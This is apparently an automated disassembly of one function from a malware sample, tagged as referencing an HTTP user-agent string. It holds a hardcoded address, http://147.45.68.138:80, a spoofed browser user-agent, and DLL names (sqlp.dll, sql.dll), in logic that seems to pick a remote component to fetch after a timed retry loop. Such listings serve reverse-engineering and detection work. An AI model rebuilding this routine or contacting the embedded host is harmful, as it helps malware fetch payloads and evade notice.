Function at 0x4164f2
Capabilities:
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xcc
xor eax, eax
push ebx
push esi
push edi
push 0x4356af
lea esi, [ebp - 0x30]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
call fcn.00410401
push 0x4356d1
lea esi, [ebp - 0x24]
call fcn.00410401
push 0x4356d2
lea esi, [ebp - 0x18]
call fcn.00410401
push 0x435b5c
lea esi, [ebp - 0x78]
call fcn.0041039f
push 0x4356d3
lea esi, [ebp - 0x54]
call fcn.0041039f
push 0x4356d6
lea esi, [ebp - 0x3c]
call fcn.0041039f
push 0x4356d7
lea esi, [ebp - 0x48]
call fcn.0041039f
push 0x4356dd
lea esi, [ebp - 0x6c]
call fcn.0041039f
push 0x4356de
lea esi, [ebp - 0x60]
call fcn.0041039f
push str.http:__147.45.68.138:80
lea esi, [ebp - 0xc]
call fcn.0041039f
mov eax, esi
lea esi, [ebp - 0x54]
call fcn.00410445
mov eax, dword [ebp - 0xc]
call fcn.00402910
sub esp, 0xc
mov eax, esp
call fcn.00402a0a
sub esp, 0xc
mov eax, esi
mov esi, esp
call fcn.004103d1
sub esp, 0x68
lea ebx, [ebp + 0xc]
mov edi, esp
call fcn.00401ced
lea edi, [ebp - 0x84]
call fcn.0041637a
add esp, 0x80
lea esi, [ebp - 0x54]
call fcn.00410445
mov eax, dword [ebp - 0x84]
call fcn.00402910
push 0x435b6c
push dword [ebp - 0x54]
call dword [0x63fb94]
test eax, eax
jne 0x416920
push 0x435b74
sub esp, 0xc
mov eax, esp
call fcn.00402a1b
sub esp, 0xc
mov eax, esp
call fcn.00402a2c
sub esp, 0x68
mov edi, esp
call fcn.00401ced
lea ebx, [ebp - 0xcc]
call fcn.00416402
add esp, 0x84
lea esi, [ebp - 0x3c]
call fcn.00410445
mov eax, dword [ebp - 0xcc]
call fcn.00402910
push 0x435b78
push dword [ebp - 0x3c]
call dword [0x63fb94]
test eax, eax
je 0x4166ac
sub esp, 0xc
mov eax, esp
call fcn.00402a3d
sub esp, 0xc
mov eax, esi
mov esi, esp
call fcn.004103d1
sub esp, 0x68
lea ebx, [ebp + 0xc]
mov edi, esp
call fcn.00401ced
lea edi, [ebp - 0xc0]
call fcn.0041637a
add esp, 0x80
lea esi, [ebp - 0x3c]
call fcn.00410445
mov eax, dword [ebp - 0xc0]
call fcn.00402910
push 0x435b80
push dword [ebp - 0x3c]
call dword [0x63fb94]
test eax, eax
jne 0x4168ef
push 0x435b88
sub esp, 0xc
mov eax, esp
call fcn.00402a4e
sub esp, 0xc
mov eax, esp
call fcn.00402a5f
sub esp, 0x68
lea ebx, [ebp + 0xc]
mov edi, esp
call fcn.00401ced
lea ebx, [ebp - 0xa8]
call fcn.00416402
add esp, 0x84
lea esi, [ebp - 0x48]
call fcn.00410445
mov eax, dword [ebp - 0xa8]
call fcn.00402910
push 0x435b8c
push dword [ebp - 0x48]
call dword [0x63fb94]
test eax, eax
je 0x416765
sub esp, 0xc
mov eax, esp
call fcn.00402a70
sub esp, 0xc
mov eax, esi
mov esi, esp
call fcn.004103d1
sub esp, 0x68
lea ebx, [ebp + 0xc]
mov edi, esp
call fcn.00401ced
lea edi, [ebp - 0x90]
call fcn.0041637a
add esp, 0x80
lea esi, [ebp - 0x48]
call fcn.00410445
mov eax, dword [ebp - 0x90]
call fcn.00402910
push 0x435b94
push dword [ebp - 0x48]
call dword [0x63fb94]
test eax, eax
jne 0x4168be
push 0x435ba8
push dword [ebp - 0x6c]
call dword [0x63fb94]
test eax, eax
jne 0x41688a
push 0x435bb0
sub esp, 0xc
mov eax, esp
call fcn.00402ab4
sub esp, 0xc
mov eax, esp
call fcn.00402ac5
sub esp, 0x68
lea ebx, [ebp + 0xc]
mov edi, esp
call fcn.00401ced
lea ebx, [ebp - 0x9c]
call fcn.00416402
add esp, 0x84
lea esi, [ebp - 0x60]
call fcn.00410445
mov eax, dword [ebp - 0x9c]
call fcn.00402910
push 0x435bb4
push dword [ebp - 0x60]
call dword [0x63fb94]
test eax, eax
je 0x416834
sub esp, 0xc
mov eax, esp
call fcn.00402ad6
sub esp, 0xc
mov eax, esi
mov esi, esp
call fcn.004103d1
sub esp, 0x68
lea ebx, [ebp + 0xc]
mov edi, esp
call fcn.00401ced
lea edi, [ebp - 0xb4]
call fcn.0041637a
add esp, 0x80
lea esi, [ebp - 0x60]
call fcn.00410445
mov eax, dword [ebp - 0xb4]
call fcn.00402910
push 0x435bbc
push dword [ebp + 0xc]
call dword [0x63fb94]
test eax, eax
jne 0x416856
push 0xea60
call dword [0x63f9ec]
jmp 0x416590
lea eax, [ebp - 0x60]
lea esi, [ebp - 0x30]
call fcn.00410445
push str.Mozilla_5.0__Macintosh__Intel_Mac_OS_X_10_15_7__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_124.0.0.0_Safari_537.36_OPR_110.0.0.0
lea esi, [ebp - 0xc]
call fcn.0041039f
mov eax, esi
lea esi, [ebp - 0x24]
call fcn.00410445
mov eax, dword [ebp - 0xc]
call fcn.00402910
push str.sqlp.dll
jmp 0x41694f
lea eax, [ebp - 0x6c]
lea esi, [ebp - 0x30]
call fcn.00410445
push 0x4359e3
lea esi, [ebp - 0xc]
call fcn.0041039f
mov eax, esi
lea esi, [ebp - 0x24]
call fcn.00410445
mov eax, dword [ebp - 0xc]
call fcn.00402910
push 0x4359ea
jmp 0x41694f
lea eax, [ebp - 0x48]
lea esi, [ebp - 0x30]
call fcn.00410445
push 0x436a90
lea esi, [ebp - 0xc]
call fcn.0041039f
mov eax, esi
lea esi, [ebp - 0x24]
call fcn.00410445
mov eax, dword [ebp - 0xc]
call fcn.00402910
push 0x436bb4
jmp 0x41694f
lea eax, [ebp - 0x3c]
lea esi, [ebp - 0x30]
call fcn.00410445
push 0x4369b8
lea esi, [ebp - 0xc]
call fcn.0041039f
mov eax, esi
lea esi, [ebp - 0x24]
call fcn.00410445
mov eax, dword [ebp - 0xc]
call fcn.00402910
push 0x436b24
jmp 0x41694f
lea eax, [ebp - 0x54]
lea esi, [ebp - 0x30]
call fcn.00410445
push 0x4359d7
lea esi, [ebp - 0xc]
call fcn.0041039f
mov eax, esi
lea esi, [ebp - 0x24]
call fcn.00410445
mov eax, dword [ebp - 0xc]
call fcn.00402910
push str.sql.dll
lea esi, [ebp - 0xc]
call fcn.0041039f
mov eax, esi
lea esi, [ebp - 0x18]
call fcn.00410445
mov eax, dword [ebp - 0xc]
call fcn.00402910
mov edi, dword [ebp + 8]
lea ebx, [ebp - 0x30]
call fcn.004169ee
mov eax, dword [ebp - 0x60]
call fcn.00402910
mov eax, dword [ebp - 0x6c]
call fcn.00402910
mov eax, dword [ebp - 0x48]
call fcn.00402910
mov eax, dword [ebp - 0x3c]
call fcn.00402910
mov eax, dword [ebp - 0x54]
call fcn.00402910
mov eax, dword [ebp - 0x78]
call fcn.00402910
mov esi, ebx
call fcn.004169d7
lea esi, [ebp + 0xc]
call fcn.00401cce
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret